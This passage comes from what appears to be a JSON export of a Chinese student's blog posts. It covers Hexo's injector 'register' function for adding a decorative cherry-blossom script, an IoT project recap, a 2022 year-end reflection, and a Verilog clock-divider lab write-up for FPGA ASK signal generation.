class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e上述代码会在生成的页面 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 注入加载 \u003ccode\u003e//must.best/assets/js/flower.js\u003c/code\u003e 的代码。\u003c/p\u003e\u003cp\u003e这里发挥作用的是 \u003cstrong\u003e\u003ccode\u003eregister\u003c/code\u003e\u003c/strong\u003e 函数。\u003c/p\u003e\u003ch3 id=\"register-函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#register-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"register 函数\"\u003e\u003c/a\u003e\u003ccode\u003eregister\u003c/code\u003e 函数\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e 函数可接受三个参数。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第一个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第一个参数是\u003cstrong\u003e代码片段注入的位置\u003c/strong\u003e,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ehead_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 之后(默认)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehead_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/head\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 之后\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第二个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第二个参数是注入的片段,可以是字符串,也可以是一个返回值为字符串的函数。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第三个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第三个参数是注入的页面类型,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edefault\u003c/code\u003e: 注入到每个页面(默认值)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehome\u003c/code\u003e: 只注入到主页(\u003ccode\u003eis_home()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epost\u003c/code\u003e: 只注入到文章页面(\u003ccode\u003eis_post()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epage\u003c/code\u003e: 只注入到独立页面(\u003ccode\u003eis_page()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003earchive\u003c/code\u003e: 只注入到归档页面(\u003ccode\u003eis_archive()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecategory\u003c/code\u003e: 只注入到分类页面(\u003ccode\u003eis_category()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003etag\u003c/code\u003e: 只注入到标签页面(\u003ccode\u003eis_tag()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e或是其他自定义 layout 名称,例如在Fluid 主题中 \u003ccode\u003eabout\u003c/code\u003e 对应关于页、\u003ccode\u003elinks\u003c/code\u003e 对应友联页\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如上面我要樱花飘落的动画只在首页显示,所以选择 \u003ccode\u003ehome\u003c/code\u003e 这个参数。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/5eba/"},{"title":"【有方杯总结】一个物联网小项目","time":"2023-04-04T19:31:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1b10/#%E3%80%90%E6%9C%89%E6%96%B9%E6%9D%AF%E6%80%BB%E7%BB%93%E3%80%91%E4%B8%80%E4%B8%AA%E7%89%A9%E8%81%94%E7%BD%91%E5%B0%8F%E9%A1%B9%E7%9B%AE\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1b10/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e这次的项目其实是比较简单的。相对于大二那会做的广和通物联网项目来说,这次的项目算是比较有条理的做了下来,能理清楚各部分的关系,在编写的过程中不断学习实践,各类传感器的整合,数据上报,云端数据的流转……收获很多。\u003c/p\u003e\u003cp\u003e不过总的来说,这个项目是单片机收集了一些传感器的数据,然后通过 \u003ccode\u003e有方N58\u003c/code\u003e 通信模块上报阿里云物联网平台,进而展示在前端页面上。\u003c/p\u003e\u003cp\u003e想想之前做广和通的时候没搞清楚这些关系,先是在服务器上运行了一个 \u003ccode\u003ec-socket\u003c/code\u003e 脚本,然后用广和通物联网模块去连接这个脚本,之后脚本将接收到的数据写入文件。网页前端是不断访问这个文件进行页面展示数据的更改。走了很多弯路,而且很不稳定,每次断掉之后得等服务器上那个端口空闲之后才能再次运行脚本……这次使用了 \u003ccode\u003ewebsocket\u003c/code\u003e 与阿里云物联网平台,可以说是又稳又快,用 \u003ccode\u003ejs\u003c/code\u003e 处理数据也方便的多。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e用 \u003ccode\u003eC语言\u003c/code\u003e 处理字符串还是太折磨人了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e大概流程:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/2.png\"/\u003e\u003c/p\u003e\u003cp\u003e前端演示地址:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://neoway.ksfu.top/\"\u003ehttp://neoway.ksfu.top/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前端效果图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/1.jpg\"/\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e具体内容的起来再写~\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/1b10/"},{"title":"2022 年终\u0026期末总结","time":"2023-01-03T08:53:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/3ff3/#2022-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e奥德赛好长啊\u003c/del\u003e\u003c/p\u003e\u003cp\u003e去年还是太逆天了,不过终究是过来了。\u003c!--今年要准备考研了。--\u003e今年到目前来说还不错,追了很多场演唱会,也和同学组多参加了一些小比赛。不过压力也感觉大了起来,感觉自己现在也没啥技能,简历上没啥东西能写。学业上也不咋样。女朋友必然也是没有的(也没认识几个女生就是说。体重只能说保持的还不错。海浪会来,希望这学期的生活能冲淡去年的影响,等这学期大三总结和2022总结一起写吧。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/3ff3/"},{"title":"基于FPGA的ASK信号生成及测量分析技术-西电通院随机信号实验","time":"2022-11-04T19:55:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E5%9F%BA%E4%BA%8EFPGA%E7%9A%84ASK%E4%BF%A1%E5%8F%B7%E7%94%9F%E6%88%90%E5%8F%8A%E6%B5%8B%E9%87%8F%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/h1\u003e\u003cp\u003e) 随机信号实验选到了这个,就当学 \u003ccode\u003eVerilog\u003c/code\u003e 了。\u003c/p\u003e\u003cp\u003e(以下内容围绕西电通院随机信号实验:《基于FPGA的ASK信号生成及测量分析技术》展开。\u003c/p\u003e\u003ch2 id=\"模块框图\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%A8%A1%E5%9D%97%E6%A1%86%E5%9B%BE\" class=\"headerlink\" title=\"模块框图\"\u003e\u003c/a\u003e模块框图\u003c/h2\u003e\u003cp\u003e2ASK调制电路组成框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%B0%E5%BD%95.png\"/\u003e\u003cp\u003e2ASK调制的FPGA程序框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%A1%86%E5%9B%BE.png\"/\u003e\u003ch2 id=\"模块分解\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%A8%A1%E5%9D%97%E5%88%86%E8%A7%A3\" class=\"headerlink\" title=\"模块分解\"\u003e\u003c/a\u003e模块分解\u003c/h2\u003e\u003cp\u003e梳理一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e分频模块\u003c/li\u003e\u003cli\u003e载波产生模块\u003cul\u003e\u003cli\u003e八进制计数器\u003c/li\u003e\u003cli\u003eROM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003em序列产生模块\u003c/li\u003e\u003cli\u003e键控开关\u003c/li\u003e\u003cli\u003eDAC输出模块(给了)\u003c/li\u003e\u003cli\u003e拓展输出口(给了)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e所以需要编写5个模块。\u003c/p\u003e\u003ch3 id=\"1-分频模块设计\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#1-%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"1. 分频模块设计\"\u003e\u003c/a\u003e1. 分频模块设计\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2.1.1按原理2.1节设计分频器a(4分频、6分频、10分频等)将系统时钟sys_clk分频,作为载波产生模块的时钟,则载波频率为sys_clk/(分频值a*一个载波周期的存储点数n)(Hz)。(sys_clk=26MHz)\u003c/p\u003e\u003cp\u003e2.1.2按原理2.1节设计分频器b(分频值应设置为上步中a*n的整数倍)将系统时钟分频,作为m序列产生模块的时钟,则基带码元速率为sys_clk/b(bit/s)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以知道要设计两个分频模块,其中主频为 \u003cstrong\u003e26MHz\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e分频模块端口示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97.png\" style=\"zoom: 50%;\"/\u003e\u003cblockquote\u003e\u003cp\u003eclk端为系统时钟信号输入,从out8、out16、out256可分别得到系统时钟的8分频、16分频和256分频信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经历了一晚上的折磨,我终于悟出了:\u003cstrong\u003e所谓X分频,就是把时钟原来每一下变一次,变成现在是每X下变一次。\u003c/strong\u003e \u003cdel\u003e(有时候很明显的事情就是转不过来弯\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以就可以顺着这个思路编写 \u003ccode\u003efenpin.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e fenpin \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 所谓X分频,就是原来时钟是每一下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 现在是每X下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// lb(256) = 8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 折中计数到一半就行\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 8分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 16分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 256分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_fenpin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003efenpin fenpin_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout8 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout16 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout256 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" 